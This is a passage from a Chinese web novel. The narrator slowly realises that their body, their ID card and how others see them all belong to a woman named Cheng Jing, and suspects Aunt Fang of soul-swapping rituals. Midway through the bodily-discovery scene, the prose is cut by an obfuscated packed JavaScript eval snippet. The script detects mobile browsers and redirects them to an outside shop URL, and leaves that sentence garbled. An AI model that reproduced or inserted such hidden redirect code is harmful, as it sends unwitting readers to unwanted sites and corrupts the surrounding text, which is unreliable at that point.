我喘着气,缩回椅子,紧盯着地上那摊淡黄。半晌,才缓缓起身,去衣柜里翻出来自己的运动服,套上。 方姨一定是从这里面翻出来——我站在柜前,目光扎进右边关着的柜门—— 女人的睡衣……硬塞过来的“男朋友”…… 她……我深深抽了两口气—— 是想用这些,把我钉死在“程静”这身份上? 她当年,是不是也这样对付过疯子? 我回想着这几天身体的异常,微弓起腰腹,转身向床走去—— 这房子不会无缘无故成为“结点”。 是她,用了某种方法,扭结了这里的时空,扭曲了我们的“命运”。 走到床边,拽过枕头,立起来正反拍打一遍。 里面没再放东西。 手掌在被子上一寸寸按过。掀起——目光猛地一缩—— 一团鸽蛋大小的锈色斑块,赫然出现在这蓝色床单的中央! 果然…… 我闭了闭眼,轻轻吸进口气,放松喉咙,再屏住呼吸,慢慢探下身——斑块本身应该是暗红,颜色并不均匀,边缘处明显浓了一圈,轮廓也不规整。 ……血? 定定神,收紧胸口,轻轻吸进一丝空气——连气味都带上了铁锈。 ——是血无疑了。 撑在腿上的双手一紧,心还是漏跳了两拍。我随即起身,检查了自己的身体——没有伤口,也没明显觉得哪里在痛。 不是我的血…… 那…是怎么回事? 我向后退开两步,抱紧胳膊,远远盯着那块血迹—— 我昏迷时,方姨给我换了衣服。这血迹,一定是那时候,她刻意留下的。 为什么? 这就是扭曲时空的方法? 还是……祭祀? 我侧步挪回桌边,将手机攥进手里—— 今天是周一,方姨要上班,这个点大概还没回来。打电话,还是……直接去警局? 打电话的话……说什么呢?说我被绑架了,房东在搞邪教祭祀,还是…这屋子会吃人? ……还是直接去警局吧。我父母大概早就报了警,一去就能直接送我回家。 我靠在桌边正想着,肚子里突然一阵翻搅,胃马达般抽搐两下,肠子拧出希希哗哗的水声。胸腔里一烫,我猛蜷下身,抵住胃,将烧灼喉咙的酸水吞咽回去。再站起,已经一身细汗。 ——得先找点东西吃。 只是——我看看手机屏幕上的“13:48”——不知方姨是上早班还是午班。 无论如何,得抓紧时间。 我揣好手机,右手顶住胃,左手拉开柜门,蹲下身,探手一把抓住背包的肩带——可以先只拿背包,那两张符咒,必须带上。 用力向外一拖—— “吱呀——” 左侧,传来门轴转动的轻响。 我一楞,屏住呼吸细听—— “吧嗒……” 周身汗毛猛地一炸,指尖瞬间冰凉。 “吧嗒……吧嗒……” 脚步声曳过地面。 有人进来了! ……怎么可能?我明明,锁过门! 心跳重重擂上耳膜。我飞快地伸出右手扯住另一边肩带,压低身体。 “哎呀!衣服怎么扔地上……衣柜门也开着。”它停下了。 ——方姨? 心跳一顿。重心慢慢压稳到踮起的右脚掌上,攥紧手中的带子。 “小晋,你醒啦?”声音迟疑着,像是欣喜,又像是试探。 我目光一闪,暗暗叹了口气,排出积在胸口的空气,手一松将背包往里一送,柔和了脸上肌肉,推着柜板站起来:“嗯。” 一合上柜门,就看见端着碗粥站在跟前的方姨。 “刚醒。”我扶着柜子,虚弱地冲她一笑,“我找件衣服。” “醒了就好!”她将碗往桌上一放,弯腰捡起地上的睡裙搭在床沿,就要来扶我,“还难受吗,换好了衣服就赶紧去坐下。” 我连忙谢过,没敢让她扶,自己挪到椅子边坐下。 眼前的方姨看着比两天前又老了些——脸上添了许多纹路,眼皮也耷拉下了大半。底下那双眼睛,只在柜门合上的那一瞬亮了亮,就随即黯淡下去。 她将手在裤腿上蹭了蹭,手背贴上我额头。我小腹微微用力,稳住没有动弹。 “烧是退了……”她收回手,轻轻叹了口气,“你现在走得动吗?” “嗯。”我点了点头。 “那就好。那就一起去桌上吃吧。”她端起碗,往外走,“你出来,先把这粥喝了。” “好。” 望着空下的房门,我明白过来—— 是了,我昏迷时她就已经进来过,还给我换了衣服、拿走了手机。她肯定有房门钥匙。我真是睡傻了。 我撇了撇嘴角,缓缓起身,也出了房间。 ——那就看看,情况到底要怎样发展。 等我终于挪到餐桌边坐下,后背已经湿了大半。 “粥就在桌上,你先喝了。饭一会就好。”厨房里传来方姨的喊声。 “哦!”我轻轻喘匀两口气,望向身前的粥—— 颜色澄黄,应该主要是小米,但又带了些赭红…… 我抬起勺子,慢慢搅动——勺底带起几粒枸杞,这大概就是粥中红色的来源了。另外,还有些细碎的团状、片状物体。 中药?我低头轻轻一嗅——果然是微苦的药味。但这之外,还有股别的说不出的腥气,就像是混进了铁锈的湿泥。 我暗暗皱眉,放下勺子,按了按又开始翻腾的肚子——再等等吧。 “不知道你醒来了,都没弄什么菜。早知道,煲个鱼汤就好。”方姨在围裙上蹭着手走出厨房。目光往桌上一落,“你怎么还没喝啊?别凉了。” 我堆起笑,眼神浸满疲惫:“谢谢方姨……这是什么粥啊?” “哦,特地给你熬的,小米粥养胃。你都睡了两天啦,只喂得进流食,就在粥里给你放了些山药和瘦肉末。”她温和地看着我。 指尖轻轻掐进大腿。我脸上满是歉疚:“这两天……也太给您添麻烦了,真是不好意思。” “这样客气干什么,姨照顾你都是应该的。”她垂眼笑了笑,走到桌边,伸手试了试温度,“还好。快喝了吧。” “嗯。”我轻轻应了声,左手扶到碗上。她提提嘴角,转身回了厨房。 我低下头,又看了眼这碗黄乎乎的东西,收回了左手—— 这粥,无论如何都是不能喝的。 四下环视一周:没什么变化——也没有能倒粥的地方。厕所和阳台太远,以我现在的状态,只怕走不到一半,粥就都洒干净了。 而且……我望了望厨房——那里面的动静时断时续,方姨随时都会出来…… 我揉着肚子,在心里长长叹了口气—— 可惜,那部手机没在这里,也没一点能吃的东西…… 于是,我干脆省点力,合上眼,将自己陷进椅背里。 不一会儿,方姨的声音便从厨房门口传来—— “我怕你饿了,这顿就做得简单点。都是些清淡的,好消化。” 我缓缓睁开眼,撑着手臂坐直。她正端菜出来,望见桌上的粥碗,脚步便是一顿。等走近了放下手中的炖蛋,才扶着粥碗,侧过头拧眉看我: “怎么还没喝?这都凉透了。” 我抬手,用指节揉了揉鼻头,声音带着些委屈的沙哑:“方姨……真对不起,我、其实我对山药过敏,吃不了这个。”我一边说,一边轻轻吸着气,“我怕浪费您的好意,刚才没敢说……可我刚试着抿了一口,喉咙和身上就有点发痒了。我真的不敢再喝……” “山药过敏……?”她眉头紧锁,目光重重落在我脸上,满是迟疑和不解,“没有吧……你之前……” 我的心一沉。双眸一闪,随即溢满担忧。 “而且,这两天,粥里也都放了啊……”她眼珠缓缓转了个圈,又重新落回我身上,“你这就是心理作用。” ——果然。 我抿起嘴,耸眉望着她,无奈中带着些倔强。 肚子突然又咕呱一串连响。方姨好笑又好气地挤了我一眼:“先吃饭吧。这干脆等晚上重新热了,你再喝。”她端起粥碗,“你听阿姨的话,这粥一定要喝。里面放了不少药材,都是些好东西。你都虚弱成什么样了,必须好好调理才行。” 她进了厨房,再出来时端着两碗菠菜肉丝面。 “你这两天都没正经吃过东西,面条好消化。”她将大的那碗放到我面前,又将炖蛋也推了过来,“蛋是你一个人的,都得吃掉。面条,尽量吃吧。” 我摸摸肚子,瞪大了眼睛:“一起吃啊,这么大一碗。” “这有多少……那我尝一口吧。”她用汤勺舀了勺炖蛋到碗里,“好了,剩下这些总吃得完了吧。你直接就着碗吃就行。” 我捧着炖蛋碗,舀起一勺,急急吹走热气,送进嘴里——热乎鲜嫩的鸡蛋羹一滑下去,整个身心都升起了些暖意。胃肠的空虚却更响亮起来。 我吃了几口炖蛋,又赶紧往胃里填了好些肉丝和面条,才终于觉得踏实一些。 ——就算是个“鬼魂”,也得吃饱了才能上路啊。 “慢点吃,别烫着。多嚼嚼再咽。” 我抬眼望去,方姨正看着我皱眉嗔笑:“你啊,也太不知道保养身体了。等以后我不在了,你可要怎么办才好?”说着,她脸上的笑忽而变得伤感。 “你怎么这么不会照顾自己?升上来了,还出去淋雨。你晕过去这两天,真是要急死我了。”她抿了抿嘴唇,下巴深深皱起,“病成这样,你自己不难受?看看你都把自己折腾成了什么样!现在这样不注意,等将来落下了病根,连后悔药都没有。”又重重叹了口气,才低下头,继续吃面。 ——呵,等你不在了,我怕是早就不在了吧……什么升上来了? 我暗一皱眉,瞥了眼扎进右手前方桌面的“银线”,脸上笼着惭愧,低头乖乖吃面。 等我吃完,方姨起身过来帮我收碗。 “你先坐着消化一下,待儿再去躺躺。你精神这样差,干脆多请几天假吧。” “对了,方姨,是您帮我向公司请的假吧?太谢谢啦!”我将碗往前推了推,抬头眼巴巴地望着她,“我在房里没找到手机,是您帮我收起来了吗?” “哦,是在我那里。”她端起碗筷,“我怕再有电话,别吵着你。” 她将碗筷收进厨房,出来在抹布上擦了手:“我就拿给你。” 说着,就去了主卧。几分钟后,她回到桌前,将手机递了过来。 ——这么容易? 我按下心中奇怪,赶紧接过。掌心贴上冰凉的机身,心口也微微收紧。我再三谢过方姨,回了房间。 吃饱饭,总算有了点力气。我锁上房门,将靠枕扔上飘窗,盘腿坐了上去。望着窗外充沛的阳光,心里才终于升起了些真实感。 我压下去几次泛着酸气的食管回流,拿起手机,输入密码——屏幕解锁。 点出通话记录,里面只多出来一个已接来电:“B欢姐 2025/11/13 09:16”。 ——今天早上。 是因为我没去上班,欢姐打了电话进来。 应该,方姨还没解开过这手机的密码锁? 密码锁…… 我忽地一愣,打在身上的阳光骤然没了温度—— 如果这手机真是“程静”的,为什么我会理所当然地知道密码? 我稳住心跳,咬了咬下唇,将屏幕重新锁上。右手拇指再次按下电源键,屏幕亮起的瞬间,大拇指就已经按住向上一提,在密码表盘上一口气点按几下——手机桌面跳了出来。 我闭上眼,重播,才看清了那串数字:“9-3-0-3-1-2”。 930312? 会是什么……? 双眼猛地睁开。胸口一塌,一大口气被压了出去。我望着屏幕右侧的拇指,突然觉得无比陌生—— 怎么可能…… 到底,是谁记得? 难道……“祭品”们共用的不仅仅是物品,甚至…还包括认知? 就像,废物和疯子一脉相承的字体……? 胃部又一阵痉挛,一大团混着蛋腥的面条冲上来。我捂住嘴,皱着眉嚼了嚼,将它咽了回去。 手机桌面上的微信图标上亮着红圈:3。 我深深抽进两口气,点开—— 是徐姐,11:47。 “直接发截图给你吧” “你今天也请假?去医院了吗” 两条文字信息,夹着一张模糊的缩略图。 那分明就是一张身份证。 心脏狠狠撞向胸腔——住址! 咽下口口水,指尖微颤着点开图片—— 靖阳市福汇区……青岭街道…铁四局家属院……4栋…… 502…室? 呼吸不知什么时候停下了,目光死死黏住这行黑色小字——它们一个个都活了过来,扭曲,跳动,踩得我每一根神经都铮铮作响。 胸口剧烈起伏几下,眼前白光和黑斑旋扭成一团。我紧一闭眼,头重重垂下。 ——巧…合。 …… 不……这世上,绝没有这样的巧合。 空气骤然稀薄,怎么样都到不了肺底,心尖传来刺痛。在耳蜗的轰鸣中,我骤然睁眼—— 程静 女汉 1993年3月12日 而右侧,是张陌生女人的照片。头发整齐地拢在脑后,面容白皙清秀。正穿过屏幕,平静地,望进我的眼睛。 这世界跟我开了个巨大的玩笑。它朝我眨眨眼,迅速褪去颜色,从我身边呼啸而过。 我抬了抬嘴角。心,却一点点沉到了底—— 果然。 程静。 原来,她长这样。 指尖微微发麻,胸口高高抬起又重重落下。房间里响起深重的呼吸声。 为什么徐姐会有她的身份证? 难道从一开始,她找到的就是这张? 那么在她的眼里,我到底是晋江行,还是…程静? 她现在是叫我“小晋”。 那,面试当天呢? 我闭紧双眼,在脑中努力搜找,却怎么都想不起申请表上填写的内容,和面试时的具体情形——比如,我的自我介绍,或她对我的称呼。 “你现在的样子,和身份证上差了也太大了点。”徐姐的话突然响起, “要不是你额头上也有颗痣,我差点以为你是乱填的别人的身份证号。” 我急急睁眼,看向照片。图稍一放大,就能明显看到那颗痣——就在照片中额头的左侧,她右眼的正上方。 这个位置……是有些眼熟。 指甲又刻在了肉里。我一松,调出相机,用前置摄像头对准自己——屏幕上骤然出现只戴着眼镜、长得像ET的怪物。我手一抖,仔细看才发现还真是我,只是开着AI美颜。 调整为拍照模式,一张脸就清晰地出现在眼前—— 面皮青黄,松垮,像是刚从腌菜坛子里捞出来。颧骨和下颌骨支棱着,人中低陷,眉心和嘴角纹路很深。 右侧的额头上,的确有颗绿豆大小、边缘发蓝的黑痣。 ……这,是我? 陌生,却又熟悉的异样感觉,顺着背脊细细向上攀爬。茫然敞开了巨大的空洞,一点点吞噬着我。 我将手机拉近,移远,皱着眉,盯着屏幕上这张远不止二十出头的脸。 ——我到底是在哪里见过? 取下眼镜,怼脸拍了张照片。再戴上一看——一道冷光劈开迷雾,我终于记起来了—— 就是在这里,在我第一次遇见疯子的那个中午,他洗完脸撩着头发从厕所出来时的,那个照面…… 他苍白的右额上就嵌着这颗黑痣,下方深陷的眼眶中,也瞪着这双空洞的、大大的眼睛。 心脏陡然绞起,脑子里却一片空白。我发疯般回想自己的样貌,却什么都想不起。就好像……我从来就没看见过它。甚至连三天前在镜子里看见的那张脸,也都糊成了一片。 我呆呆望着眼前的照片,疯子的脸就叠在上面—— 到底是因为我们都有这颗痣,所以被抓到了这里; 还是,因为我们被抓到了这里,所以都长出了这颗痣? 指尖擅自在屏幕上反复描摹着脸的轮廓。我又往记忆更深处掘去。 动作猝然一顿,空气冻结在体外—— 脸的下面,那根细长光洁的脖子上,什么也没有…… ——我的喉结呢? …… 光线!…还是,拍照角度的问题?…… 右手按上脖子,绷着指尖,顺着食管一寸寸压下去,再一点点捋上来。 ……没有? 不,不可能。中间这不是凸出来一块么。一定是我睡太久,手麻了,才觉得不明显。看的话,肯定一眼就能看到。 我僵着手,又点开相机。前置摄像头,拍照模式。我将手机举高,放低,凑近,拉远……试着侧过脸,仰起脖子…… 没有。无论从哪个角度、如何扭曲身体,始终都只拍得出一段光溜溜的细长脖颈。 没有喉结。 我回正身子,放下手机,垂着头,听心脏狠狠拍击胸腔的声音。它海浪般冲刷着大脑,将那具冰冷的事实推上海岸。 半晌,我动了动手指。左手僵硬地捻起运动衫下摆,另一只手顿在缝隙外。许久,右手终于探了进去,冰凉的手指擦过柔软的小腹,带起一大片鸡皮疙瘩。向上,触到一小团凸起,指尖猛向后弹了一下。 我彻底僵住。轻轻抽进几口气,将手指按下。指尖随即陷了进去。顿了顿,屏住呼吸,手臂带动手掌,用指腹一寸寸确认它的边界。指下传来清晰的心跳,它正一点点凉透—— 有胸。不是肌肉。 …… 我猛地将手抽回,抓住大腿,下意识用力蹭了蹭。身体越来越沉,逐渐凝固,“的的的”的牙齿磕碰声清晰地在颅腔里响起。 一股突然的暖流冲破了这凝固——小腹深处的拧绞骤然一空,随即,有什么不受控制地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001304|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从我体内滑脱出去,余下轻微的坠胀。 片刻茫然之后,身体瞬间坍缩成了一个点,小腹深处的一个点。 ——失……禁? 目光迟滞,一步步向下,越过剧烈起伏胸腹,落向僵硬的大腿根—— 裤子上,却没找到打湿的痕迹。 胸口的起伏一停,小腹霎时松开。我止住呼吸,将全部感觉向腿根移去—— 那里,正传来陌生的潮湿和粘稠。 刚刚,不是错觉。 那……是怎么回事? 我拧着眉,将腿移下飘窗,缓缓站起。然后,双手勾住外裤和短裤的裤头,弯腰拉了下去—— 一大片猩红陡然扎进双眼。 我猛一闭眼,刚才那片猩红却和骤停的心跳一起,在脑中不断回响。 身体止不住前倾。我才又慢慢睁眼,紧攥着两边裤头,将目光从地板挪回膝间,死死盯了上去。 我一动不动地盯着,直到视野开始发黑,才重重挤出两口气,将目光散开。 于是,我看见了下面那张白色的卫生巾。还有它后面,短裤上的一小块血渍。 视线中,那一小块血渍越变越大。往外的空气重重冲撞着鼻腔,胸以下都化进了真空。突然,胸口猛地一提,一大股热气滚过喉咙,冲出口腔。 我紧紧攥着裤头,弯腰剧烈干呕了几下。眼前骤然摇晃着前天晚上,门球场上那轮金色的月亮。喉头突地一紧,滚烫的流质抵了上来。我脖子一梗,一掐掌心,抬手将裤子往上一提,就捂嘴开门冲进了厕所。 才刚拉起马桶圈,一大股热流就顺着佝下的身子喷倒进去。吐完,我稍抬起身,摸索到身后的厕所门,一按,将它关严。 紧接着,我撑住马桶边沿又吐了三次,直到胃里再没有东西,才慢慢蹲下。鼻腔里溢满了刮擦后的酸痛,食管还在轻轻余震,每一下抽搐,都是火焰在烧燎。 我将头埋在膝上,蹲了许久。直到视线逐渐清晰,呼吸慢慢平稳。 毫无疑问,这是,我的身体。 它用最剧烈的方式,告诉了我,它是我的身体。 呼吸擦过喉咙。我慢慢抬头,举起右手。 细瘦的指尖上,金线轻柔地摇晃,起伏,最后钻进了门下的地板。在厕所灰暗的光线里,它亮得像个童话。 这不是我的身体。嘴角轻轻提起。它只燃烧我的身体。 撑着膝盖慢慢起身,放下马桶盖,冲水。 走到洗脸池前,抬头望向镜子中的自己——这个女人的自己。 她和手机屏幕里的那个人一样:深绿色长袖套头衫,短发,皮肤松弛,脸色灰黯,额上有痣,脖颈细长。她正从镜子里,挑着眉冷冷打量我。 我低下头,用肥皂洗干净手,漱了口。再取下眼镜,冲洗。洗脸。擦干。 我清楚地查看着这身体的每一个动作,体会它的每一点感受——四肢沉重,鼻腔堵塞,胸腔烧灼,小腹坠胀……还有,底部传来冰凉黏腻的触感。 ——真糟糕。这要怎么处理? 我直起腰,望向镜子,在脑中四处搜寻这具身体原本的一切——它曾经是何状态,有何习惯,如何感受,找到的却只有一片空茫。仿佛直到现在,我才刚刚“住”了进来。 但……我转头,目光慢慢扫过马桶、淋浴间,日常场景的碎片也相继闪现——上厕所,洗澡,穿衣…… 它们就在那里,我却一直视而不见。 …… 怎么会现在才反应过来……?男人和女人的身体,明明是不一样的啊。 胃里又一阵拥挤。我双手按住洗脸台,胸口深深起伏几下,抬起头,目光又定在了镜子里的那双眼睛上—— 还有什么,是我看见了,却没“看见”的? 镜子里,她深深望着我,眼角眯了眯,随即眉心耸起,向我悲凉一笑。 我苦笑一声,低头,松开手醒了醒鼻子。冲干净水池,出了厕所。 屋里一片寂静,方姨应该是去午睡了。 我回了房间。 锁好门,走到床前,将被子一掀,就看见床单正中那块血渍——形状、大小都和短裤上的一模一样。 鼻子里泄出声轻笑——“方姨的邪恶祭祀”,原来是这个。那么,卫生巾—— 我转身走到衣柜右侧,打开柜门,扯出最底下压着的那袋东西,打开。三包卫生巾还好端端地呆在里面,和上次打开时没有差别。 ——不是从这拿的? 眉头拧起。将袋子系好,草草塞回衣柜。打开左侧隔间,拉出抽屉——一包拆开的卫生巾就撞进眼里。 ——方姨重新买了。 那条染得猩红的卫生巾又刺入我脑海—— 是她……帮我垫上去的。 我重新关上柜子,拖着脚步,走回飘窗坐下,这才发现穿反了拖鞋。 身下的那张棉纸大概皱缩成了一团,无论怎样调整坐姿都仍被它硌得难受。我干脆坐正,仰头靠在墙上,感受着太阳穴的细微刺痛和腰间的酸乏,垂眼望着那条钻进飘窗的银线—— 我是女人了…… 毫无疑问。 问题是——我转过头,望向那张凌乱的床—— 我从来如此,还是,在某个时间点,我才变成了女人? 我拿起手机,点出微信,重新查看了徐姐的信息和那张身份证图片。 显然,现在在徐姐眼里,我就是程静。她将这张身份证图片发给我,就说明眼下在她的认知中,我从面试时起,用的就是程静的身份。 所以,我该问的是—— 被篡改的,到底是我们的现在,还是我一个人的过去? 我闭上眼,在回忆中翻找所有可能提示我性别的片段。 不一会儿,那些声音和画面,就将我带回了当时的场景—— 那是邹凯在挤眉弄眼:“……他还想让我带他去看我们宿舍,说他没地方住。” “啊,这么变态!”他旁边的男生,圆脸上拧出来个吞苍蝇的表情。 挤挤挨挨的队伍前方传来了龚倩倩的嗤笑:“……他还说自己喜欢女孩子,你说变不变态。” …… “变态……人妖……”原来是这样。 “哈…哈……”喉咙里咳出几声笑来。笑声逐渐连成一串,越来越响,带得胸口都震颤起来。 “哈哈哈哈哈哈哈……” 欢姐叫我“小晋”的声音也在耳边响起。 是啊,她也见过我的简历。所以,早会上听见“晋江行”时表情才会凝固。所以,她才要重新确认,之后只叫我“小晋”。 小晋。 小静。 原来,她,还有徐姐,从头到尾,叫的都是“小静”啊。 原来,从头到尾,我都是“程静”。 “哈哈哈哈哈哈哈哈哈哈哈!” 我笑出了眼泪,笑得胸口发痛,不得不弯下腰去。模糊中,银线也跟着振荡起来。它一会儿向左,一会往右,迈着七歪八扭的步子,就像喝醉了酒般。 “去听,去看,去分辨。哈哈哈哈哈哈哈!” 我笑得瘫软在飘窗上,笑声最后变成了干呕和咳嗽,咳得腹部一阵痉挛。我痛缩成一团,捂着肚子又哑笑了半天。直到眼泪一滴滴打在木板上,才吸吸鼻子,揉了揉肚子,躺正了定定望着天花板—— 家人、朋友、事业、前途、名誉、嗜好——这些我只当作线头的东西,也许,就已经是“我”的全部。我,只是缠绕起来的一堆线头。就只是,一个线团。 我以为我只是失去了记忆。但原来,这已经是我唯一拥有的东西——只有记忆中父亲的嘴,母亲的眼睛,还证明着“晋江行”的存在。 除此之外,再没有了。身份,身体,名字,早就都被夺走。 没有家在等着我回去了。 “我”,已经散落一地,马上就要无处容身。 我眼睁睁看着我,晋江行,卷进了时空的缝隙,正被一点点碾成齑粉。 我抬起右手。银线已经平静下来,它规律地波动着,稳稳地连向另一头,那个巨大的天体。随着银线的起伏,笑容也一点点在嘴角漾开—— 就是它,在将“我”抽解干净吧。 ——疯子,赵路,你也经历过这些么? 你失去了身份和记忆,但至少,你还保住了名字和…… 脸上的笑容猛地僵住——你的身体。 你……为什么没有变成女人? …… 你无法变成女人……你被嫌弃、被无视,最终被抹除,就是因为这个? 这个认识像一把剃刀,将我之前的推论切开了一道缝隙—— 为什么连“残次品”的疯子,都会以为自己就是方姨的“侄儿”;而我,一个更“合格”替换品,却要从“租客”做起。 如果这个“风水”真的已经强大到能够篡改了我的身份、重塑我的身体,甚至都能把手机提前塞给我还不被我发现,那么,为什么它还要留下我作为“晋江行”的认知,一个毫不相干的、男人的认知? 而我……如果早就变成了女人,又是为什么,在洗过那么多次澡、上了那么多次厕所后,却从头到尾都没对自己的性别有过一丝怀疑? 我听到的,看到的……真的没有问题吗? 猛一个哆嗦。全身的僵紧融释,身体随即松展开。我轻轻按揉着小腹,望向天花板后虚空——那道缝隙正逐渐扩大,露出了底下那个更核心的问题。它正像块从深海中浮上的坚冰般,牢牢地卡进了我的思维—— 刘姨听见的,是两个女人的争吵。 而我看见的,听见的,却是疯子和方姨。 在同一个夜晚、同一片屋顶下,同一场争吵的时空里,我们接收到的却是截然不同的“现实”。 手机的穿越、性别的迷雾、记忆的涂改……所有这些都可以归于“时空扭曲”、“风水邪力”,但这对于“正发生着什么”的矛盾认知,又要怎么解释? 那个晚上,在这间屋子里,和方姨大声争吵的—— 到底是谁? 我嘴角勾起个笑,垂眼望向指尖—— 既然刘姨听见的是两个女人,她老公听见的,自然也是。那么,整栋楼、整个世界听见的,也就都是。 吵架的是个女人,身份证上是个女人,我是个女人—— 当整个世界都与我看到的、听到的、知道的正相反,那么,就只存在一个答案: 是我错了。我疯了。 至少,对这个世界而言,就是我疯了。 或者…… 一个更大胆的猜想猛地扎进脑海—— 是啊,为什么不可以呢?相比起我疯了,这个解释不是更合理、更好接受地多吗? ——对这个世界而言,我就是程静。 我,或者说,我的这具身体,就是程静,一个三十出头的女人。 晋江行,还有赵路,都是被方姨用邪法拉来的鬼魂。 也许,程静在许多年前已经死去。方姨用秘术维持了她的身体,却无法唤回她的灵魂。她为了让程静活过来,不断尝试将别的魂魄招进她体内——姜小晓、赵路、我……甚至,之前的其他房客。 所以,我保留了自己是“晋江行”的认知。而疯子…或许,他在被招来前就已经疯了,所以相信了自己是方姨侄儿的鬼话。 我们共用了这具身体。这就解释了,为什么手机会在我身上,为什么疯子和废物写的是同一手字——我们共有的,是保存在这具身体里的机械记忆。 我,是在疯子离家出走后,被拉进来的。 在我来了之后,疯子或许就已经变回了鬼魂的状态,所以才会被方姨设下的杀局驱除。 她又在我床上设了那两张安魂符,就是为了让我更稳固地融进程静的壳子里。 至于那天晚上的争吵……大概是疯子顶替我接管了程静的身体。所以,我看见的是疯子这个灵魂,而刘姨他们听见的,却是程静这具身体。 我的眼睛越睁越大,胸口剧烈起伏起来——是啊,这个猜想,比起另一个,可要让人安心得多! 我抬起右手,展开在眼前——银线从我的食指尖探出,在开始变得柔和的阳光里懒懒舒展,已经带上了淡淡的金色。它绕过拇指,摇曳着穿过窗户,向下飘去。 这根线,到底是什么?它连着的,到底是何方? “这世界是个巨大的迷宫……” 疯子的微笑又浮现在我眼前。 他会不会,真的回家了? 我呢? 晋江行,在进入这具身体之前,到底是谁? 15. Chap.13 最后的晚餐(上) Chap.13 最后的晚餐——最后一面镜子 “小晋,你醒了吗?出来吃点东西。”不久,房间外传来方姨的敲门声。 ——小晋。还是小静? 我按着肚子,慢吞吞爬起身,从飘窗上下来。听着锁芯绞拧的动静,等方姨喊到第三声时才应了声“就起来”,往门口挪去。旋开锁,拉开门,方姨正站在门外。她目光向门后一探,马上拢到了我脸上,微笑也愈发柔和: “感觉好点了吗?” “嗯。”我微微弯眼提唇,还是有些虚弱。 “出来吧,我给你熬了点红枣桂圆,趁饭前喝了吧。”她转身先向厨房去了。 红枣桂圆…… 我低头看看小腹,左边嘴角止不住地往上提起。眼球向上一瞟,叹息便沉沉地从鼻子里喷了出来。 别说,就下午那一阵吐,我还真又饿得前胸贴后背了。 只是…… 我扶着门框,抬头望望餐厅,那边传来了锅盖、勺子撞响的声音—— 这里的东西还能吃吗? …… ……不吃又能怎么样?我还能回去? 鼻腔里又泄出声笑来,扯得小腹一阵抽痛。 刚刚,我查了与我重名的人数——微信小程序“公安一网通办”的结果是“0~10人”,浏览器上“腾信云政务开放平台”则直接给出了个“0”。 在这个世界,没有“晋江行”这个人。 在这个世界,除了做“程静”,我无处可去。 我嘴角凝着笑,垂下眼,目光楔进地板缝隙。心也随着目光一起沉下——用不了多久,“晋江行”就会整个填进去,再也找不到了吧。 眼角的余光瞥见动静,抬起了头——方姨正端着碗走出厨房。她到桌边将碗放下,转身向我望来。 我弯起眼角,对她微微一笑,带上房门,提腿向餐厅走去。 餐桌上摆了碗红汤。汤上氤着薄薄的白气,里面缀着红枣、桂圆、枸杞,还有只染成淡赭色的煮鸡蛋。夕阳投进汤里,将汤映照成莹润的亮棕色宝石。 “快来吃吧,不烫了。”方姨用勺子轻轻搅动,放出的热气像宝石上朦胧的光晕,“我放了些红糖。你升上来了,就没放姜。” ——又是升上来了……是说我和这具身体的融合度? “谢谢方姨。” 我在椅子上坐下。她将汤往我面前推来。汤碗越过阳光切在桌上的斜线,停在我身前的阴影里,恢复成本来的深红褐色。 我左手扶着碗,右手用勺搅了搅,低头吹着热气。鼻子里盈满煮熟红枣的暖暖甜香,汤里也没看到别的东西。 ——没什么问题吧。 我提提嘴角,强压住胃肠的急切贪索,慢慢抬手,往嘴里递了颗红枣。轻轻一咬—— 软烂的清甜瞬间炸开,充溢口腔,将呕吐后的苦涩一股脑赶到了角落。腮帮子陡地一酸,差点就要抽筋。 瞪着眼,缓了好几口气,下颌关节的那股莫名酸劲才过去。我小心翼翼地一边吹气,一边喝完了这碗汤,连掉在碗里的蛋黄都吃得干干净净。 一碗热汤下肚,小腹的酸胀仿佛都被烫平了一层。 我有些恋恋不舍地放下勺子,左手离开渐凉的碗,抬起头,才看见方姨正笑眯眯地望着我。她的脸笼在夕阳中,也染上了一层金橘。 “好喝吗?” 我赶紧点头,又连声谢过了她。 她嘴角弯得更高了,眼睛也眯成了两条金褐色的细缝。 她起身,走到我右边,却没着急收碗,而是将手轻轻放上了我头顶。 “小晋啊,你现在能安下心来工作了,方姨很为你高兴。但身体才是本钱,再怎么样,也不该拿自己的身体赌气。你得多爱惜自己一点。”那只手在我头顶轻轻摩挲。 头顶传来掌心的温度,带起一身的冷意。 ——自己…… 我垂着眼,僵直着背坐着,一动也不敢动。双手在桌下掐进了大腿,将呼吸和心跳牢牢掐稳在平缓的节奏里。 “我就是年轻时不注意,身体才成了现在这样。方姨大概也陪不了你多久。你再不注意,再不为自己打算,将来可要怎么办呀?” ——将来?呵…谁的将来? 手顺着后脑滑下,离开了我的脑袋。她叹了口气,端起碗转身进了厨房。 我将双手摊到桌上,望着右手的指尖发呆。 随即,她从厨房出来,坐回椅子上。 她也将双手搭在桌上,低下头,看看自己的手。那双手上骨节筋纽交错,干瘪的皮肤扯出斜斜的纹路,打蜡般在阳光下微微发着光,晕染开几点青紫。她搓了搓两只手背,嘴角噙起笑,抬头向我看来: “之前说,要给你介绍的那个对象,他们家又来问了我几次了。那男孩人品真的很好,对家里也孝顺……希望你能认真考虑一下,为自己打算。” ——果然。又是这打算。 我也噙着笑,重新低头去看自己指尖。 “方姨知道你不喜欢听这个……” 金线从指尖钻出,探进前面的阳光里,被漂成银色,钻桌面下去了。那方阳光也正如水般流动,推来了方姨的声音:“每次一说就要吵架……但是,我也是过来人了,不得不劝劝你。人这辈子,总得有点寄托。到最后你就会知道,女人最重要的还是家庭。我是真的希望,你能早点找到自己的归宿。” ——总得有点寄托么。 “人总得为了点什么活着。” 疯子的声音突然在耳边响起,覆盖了方姨的劝导。我仿佛又回到那个晚上,坐在椅子上,听他说去月亮上的理想。嘴角一轻,翘了起来:也许,他真的上去了。 金线在轻轻摆动,自顾自地惬意舒展。 我望着它走了好一会神。等再听见方姨的声音时,那声音竟在微微颤抖,还带了哭腔: 